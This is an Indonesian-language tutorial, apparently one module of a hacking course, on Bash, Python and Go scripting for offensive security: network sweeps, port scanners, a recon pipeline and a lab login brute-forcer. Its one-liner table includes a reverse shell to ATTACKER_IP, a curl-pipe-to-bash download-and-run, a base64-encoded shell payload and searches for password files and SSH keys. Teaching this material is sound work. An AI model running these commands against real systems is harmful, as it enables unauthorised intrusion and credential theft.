Scripting & Automation — Membangun Senjata dan Otomasi Eksploitasi
S4: Scripting & Automation — Membangun Senjata dan Otomasi Eksploitasi

Perbedaan antara peretas amatir dan profesional terletak pada efisiensi. Amatir mengandalkan alat buatan orang lain (Script Kiddies), sementara profesional membangun alatnya sendiri. Memahami Scripting memungkinkan kamu melakukan otomatisasi tugas yang membosankan, memodifikasi exploit yang ada, hingga menciptakan senjata serangan yang unik dan sulit dideteksi.
1. “The Big Three” Bahasa Peretas
Setiap bahasa memiliki peran spesifik dalam siklus hidup sebuah serangan. Kuasai ketiganya:
Bahasa “asli” terminal Linux. Wajib dikuasai untuk membuat skrip post-exploitation, membersihkan log, hingga melakukan privilege escalation secara otomatis. Bash berjalan di hampir semua sistem Linux/Unix tanpa perlu instalasi tambahan — menjadikannya senjata pertama yang selalu tersedia.
Kasus penggunaan: Automated enumeration, log clearing, reverse shell one-liner, persistence via crontab, mass file searching.
Bahasa paling populer di dunia InfoSec. Digunakan untuk menulis exploit, alat scanning khusus, hingga manipulasi paket data. Library seperti requests, scapy, socket, paramiko, dan pwntools menjadikannya sangat powerful untuk security research.
Kasus penggunaan: Custom exploit development, web scraping, fuzzing, packet crafting, CVE PoC scripting, brute force tool.
Dikenal karena kecepatannya dan kemampuan kompilasi ke dalam satu file biner yang bisa langsung dijalankan di target tanpa dependency. Sangat populer untuk membuat tools recon masif seperti subdomain scanner, port scanner, atau C2 (Command & Control) framework modern.
Kasus penggunaan: Subdomain enumeration (Amass, subfinder), fast port scanning, malware/C2 development, cross-compile untuk berbagai OS target.
[PRINSIP KERJA]
Don’t Repeat Yourself (DRY): Jika kamu melakukan sebuah tugas lebih dari tiga kali secara manual — misal mengecek port terbuka di 100 IP — buatlah skripnya. Waktu adalah aset.
Modularity: Bangun skrip kecil yang bisa digabungkan. Gunakan piping di Linux untuk menghubungkan output skrip satu ke input skrip lainnya. Satu skrip, satu fungsi.
2. Bash Scripting — Fondasi Otomasi
Bash bukan sekadar perintah satu per satu. Dengan logika kondisional, loop, dan fungsi, Bash bisa menjadi mesin otomasi yang sangat powerful. Berikut konsep dasar yang wajib dikuasai:
| Konsep | Syntax | Keterangan |
|---|---|---|
| Shebang | #!/bin/bash | Baris pertama skrip, memberitahu OS bahwa ini adalah Bash script. |
| Variabel | NAME=”value” echo $NAME |
Tidak ada spasi di sekitar tanda =. Akses variabel dengan prefix $. |
| Input User | read -p “Target: ” IP | Membaca input dari pengguna dan menyimpannya ke variabel. |
| Kondisional | if [ $x -eq 1 ]; then … fi |
Percabangan logika. Perhatikan spasi di dalam kurung siku. |
| Loop For | for i in {1..254}; do … done |
Iterasi. Sangat berguna untuk scanning range IP atau port. |
| Loop While | while read line; do … done < file.txt |
Baca file baris per baris. Ideal untuk wordlist processing. |
| Fungsi | function scan() { … } scan |
Mengelompokkan perintah agar bisa dipanggil berulang. |
| Command Substitution | result=$(whoami) | Simpan output sebuah command ke dalam variabel. |
| Argumen | $1, $2, $@, $# | $1 = argumen pertama, $@ = semua argumen, $# = jumlah argumen. |
Contoh: Skrip Network Sweep Sederhana
# Sweep host aktif di subnet /24
read -p “[*] Masukkan subnet (contoh: 192.168.1): “ SUBNET
echo “[*] Scanning $SUBNET.0/24 …”
for i in {1..254}; do
ping -c 1 -W 1 $SUBNET.$i >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo “[+] Host aktif: $SUBNET.$i”
fi
done
sweep.sh → chmod +x sweep.sh → ./sweep.sh3. Python untuk Keamanan Siber
Python adalah bahasa wajib di dunia InfoSec. Hampir semua framework exploit modern (Metasploit modules, PoC CVE, tools CTF) ditulis dalam Python. Berikut library dan konsep yang paling relevan:
| Library | Fungsi dalam Security | Install |
|---|---|---|
| requests | HTTP client. Kirim GET/POST dengan custom header, cookie, auth. Wajib untuk web exploit scripting. | pip install requests |
| socket | Built-in. Low-level networking — membuat port scanner, banner grabber, atau reverse shell dari scratch. | built-in |
| scapy | Packet crafting & sniffing. Buat paket TCP/UDP/ICMP custom, lakukan SYN scan, ARP spoofing. | pip install scapy |
| paramiko | SSH client library. Buat brute force SSH atau automasi command execution via SSH. | pip install paramiko |
| pwntools | Framework CTF dan binary exploitation. Untuk interaksi dengan binary, shellcode generation, ROP chains. | pip install pwntools |
| beautifulsoup4 | HTML parser. Scraping konten web, ekstrak form field, link, atau data tersembunyi di halaman. | pip install bs4 |
| cryptography | Enkripsi/dekripsi data, hashing, dan operasi kriptografi untuk analisis atau membangun secure channel. | pip install cryptography |
| argparse | Built-in. Membuat CLI tool yang proper dengan flags dan argumen seperti tool profesional. | built-in |
Contoh: Port Scanner Sederhana dengan Python
# Simple TCP Port Scanner — by 0x6ick
import socket
import sys
def scan_port(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((host, port))
if result == 0:
print(f”[+] Port {port} OPEN”)
s.close()
except socket.error:
pass
target = sys.argv[1]
print(f”[*] Scanning {target} …”)
for port in range(1, 1025):
scan_port(target, port)
python3 scanner.py 192.168.1.1Contoh: HTTP Brute Force Login Sederhana
# HTTP POST Login Bruteforce — by 0x6ick
# Gunakan hanya di lab/sistem yang kamu miliki izin!
import requests
TARGET = “http://target.lab/login”
USERNAME = “admin”
WORDLIST = “rockyou.txt”
with open(WORDLIST, “r”, errors=“ignore”) as f:
for password in f:
password = password.strip()
data = {“username”: USERNAME, “password”: password}
r = requests.post(TARGET, data=data)
if “Invalid” not in r.text:
print(f”[+] Password ditemukan: {password}”)
break
4. Bash One-Liners — Senjata Cepat
One-liner adalah perintah panjang dalam satu baris yang menggabungkan banyak tool dengan piping. Inilah efisiensi sesungguhnya di terminal. Berikut koleksi one-liner paling berguna dalam skenario keamanan:
| Tujuan | One-Liner Command |
|---|---|
| Cari file config berisi password | find / -name “*.conf” 2>/dev/null | xargs grep -i “password” 2>/dev/null |
| List semua SUID binaries | find / -perm -4000 -type f 2>/dev/null | xargs ls -la |
| Extract IP unik dari log Apache | cat /var/log/apache2/access.log | awk ‘{print $1}’ | sort | uniq -c | sort -rn | head -20 |
| Scan port 80 di subnet /24 | for i in {1..254}; do nc -zv -w1 192.168.1.$i 80 2>&1 | grep succeeded; done |
| Reverse shell Bash | bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 |
| Download dan jalankan skrip | curl -s http://server/script.sh | bash |
| Cari file SSH key di sistem | find / -name “id_rsa” -o -name “id_dsa” 2>/dev/null |
| Deteksi failed SSH login | grep “Failed password” /var/log/auth.log | awk ‘{print $11}’ | sort | uniq -c | sort -rn |
| Encode payload ke Base64 | echo “bash -i >& /dev/tcp/IP/4444 0>&1” | base64 |
5. Golang — Tools Recon Berkecepatan Tinggi
Go dikompilasi menjadi binary tunggal yang bisa langsung dijalankan tanpa runtime tambahan. Ini membuatnya ideal untuk tools yang perlu dideploy ke target environment dengan cepat. Berikut tools security populer yang dibangun dengan Go:
- subfinder — Subdomain enumeration tool. Menemukan subdomain dari berbagai passive source sekaligus.
- httpx — HTTP probing masif. Mengecek status, title, teknologi dari daftar URL/domain dengan cepat.
- nuclei — Vulnerability scanner berbasis template. Ribuan template CVE siap pakai.
- ffuf — Web fuzzer berkecepatan tinggi untuk directory brute force, parameter fuzzing, dan vhost discovery.
- gobuster — Directory dan DNS brute force tool. Alternatif ffuf yang populer.
- naabu — Port scanner cepat berbasis Go. Bisa scan jutaan host dalam waktu singkat.
Contoh: Membuat Port Scanner Sederhana dengan Go
package main
import (
“fmt”
“net”
“os”
“sync”
)
func scanPort(host string, port int, wg *sync.WaitGroup) {
defer wg.Done()
addr := fmt.Sprintf(“%s:%d”, host, port)
conn, err := net.Dial(“tcp”, addr)
if err == nil {
fmt.Printf(“[+] Port %d OPEN\n”, port)
conn.Close()
}
}
func main() {
host := os.Args[1]
var wg sync.WaitGroup
for port := 1; port <= 1024; port++ {
wg.Add(1)
go scanPort(host, port, &wg)
}
wg.Wait()
}
6. Automation Flow — Menggabungkan Semua Tool
Kekuatan sesungguhnya scripting ada pada kemampuan menggabungkan banyak tool menjadi satu pipeline yang otomatis. Berikut contoh recon pipeline sederhana yang sering digunakan dalam bug bounty dan pentest:
[AUTOMATION PIPELINE : RECON FULL]
# Step 1: Subdomain Enumeration
subfinder -d target.com -silent | tee subdomains.txt
# Step 2: Probe HTTP/HTTPS aktif
cat subdomains.txt | httpx -silent | tee live_hosts.txt
# Step 3: Scan vulnerability dengan Nuclei
nuclei -l live_hosts.txt -severity medium,high,critical -o results.txt
# Step 4: Directory fuzzing pada host live
ffuf -u TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,403
tee untuk menyimpan output sekaligus menampilkannya ke layar. Gunakan | (pipe) untuk mengalirkan output satu tool langsung ke tool berikutnya tanpa file sementara. Kombinasi ini adalah inti dari otomasi pentest modern.7. Praktik Terbaik Menulis Skrip Keamanan
Skrip yang baik bukan hanya yang berjalan, tapi yang mudah dibaca, aman, dan bisa digunakan ulang:
- Selalu tambahkan banner/header — Cantumkan nama tool, versi, dan author di awal skrip.
- Validasi input — Selalu cek apakah argumen yang dibutuhkan sudah diberikan sebelum skrip berjalan.
- Gunakan warna di output —
\e[32muntuk hijau (sukses),\e[31muntuk merah (error). Output yang terbaca lebih cepat = operasi lebih efisien. - Error handling — Tangani exception/error agar skrip tidak crash di tengah operasi panjang.
- Tambahkan mode verbose/quiet — Flag
-vuntuk detail, default untuk output bersih. - Logging otomatis — Simpan semua output ke file log dengan timestamp. Kamu tidak akan mengingat semua temuan jika tidak tercatat.
- Rate limiting — Tambahkan delay
sleepantar request agar tidak memicu WAF atau rate limiter target. - Jangan hardcode credentials — Gunakan environment variable atau file config eksternal untuk menyimpan API key atau password.
Kesimpulan
“Scripting mengubah kamu dari pengguna menjadi pencipta. Penguasaan logika pemrograman akan mempermudah kamu memahami bagaimana sebuah aplikasi beroperasi dan di mana letak kelemahannya.”
Mulai dari yang sederhana — otomasi tugas yang kamu lakukan berulang setiap hari. Dari situ, kemampuan scripting-mu akan berkembang secara organik seiring pengalaman di lapangan.
Selanjutnya: S5 — Web Technology →